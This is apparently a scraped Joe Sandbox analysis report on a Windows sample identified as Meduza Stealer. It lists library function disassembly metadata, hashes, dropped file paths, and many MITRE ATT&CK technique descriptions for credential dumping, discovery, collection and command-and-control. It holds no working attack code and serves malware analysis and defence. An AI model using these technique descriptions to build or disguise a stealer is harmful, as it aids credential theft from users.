Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4d2c4101b9d2858735cfea5a09a2e9289d44dfdbc7b24173af3d04f9105eea82
Instruction ID: 8d50e42217523aec54a976f5657ab48e22a043f0814d7f1098749358333e7f37
Opcode Fuzzy Hash: 4d2c4101b9d2858735cfea5a09a2e9289d44dfdbc7b24173af3d04f9105eea82
Instruction Fuzzy Hash: FE110036618B8482EB618F15F48429D77E5F798B98F584225EECD47B58DF3CCA51C700

Function 00007FF7AA12EDA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7AA101E0F), ref: 00007FF7AA12EDF4
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7AA101E0F), ref: 00007FF7AA12EE35

Strings

csm, xrefs: 00007FF7AA12EE22

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 1d5299c32aecaf4e52da69cfbe893816f0db3639ef3e806bbd38833a72797da0
Instruction ID: a326354d565bd33bbc2f0e0259937682010214486e25479cdfa15d6122ffd81b
Opcode Fuzzy Hash: 1d5299c32aecaf4e52da69cfbe893816f0db3639ef3e806bbd38833a72797da0
Instruction Fuzzy Hash: D4117C32619B40C2EB619F15F404269BBE4FB88B84F994670EE8C07764DF3CC516C710

Function 00007FF7AA10D2D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA10D99C
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10D9A9

Strings

String pointer is null., xrefs: 00007FF7AA10D9A2

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argument_invalid_parameter_noinfo_noreturnstd::_
String ID: String pointer is null.
API String ID: 1132134225-696828624
Opcode ID: 21e1dd80da370428b582362b5689f4aa856f83e19341bdea015bb3c94b807656
Instruction ID: e0f9195faecdd48a65e40c5feb52a10be3a14e9a4cf1c2303d2115243a3b8070
Opcode Fuzzy Hash: 21e1dd80da370428b582362b5689f4aa856f83e19341bdea015bb3c94b807656
Instruction Fuzzy Hash: 1CF02421519A85EAF211AB15FC547F9B370BF49788F920131FD4C02365CE3CD102C300

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9RM52QaURq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Meduza Stealer

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9RM52QaURq.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cflg0b31.pyf.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n5gq1h4a.jxy.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vqq2suem.b1j.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xhdudhso.zym.psm1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
9RM52QaURq.exe

Function 04AEE6E8 Relevance: 5.3, Strings: 4, Instructions: 265
COMMON

Function 073505E8 Relevance: 1.9, Strings: 1, Instructions: 654
COMMON

Function 0118AD68 Relevance: 1.7, APIs: 1, Instructions: 199
COMMON

Function 04AE2AD8 Relevance: 1.6, APIs: 1, Instructions: 127
COMMON

Function 01185A84 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Function 0118590C Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Function 011844B4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 0118D701 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Function 07353555 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Function 0118B750 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre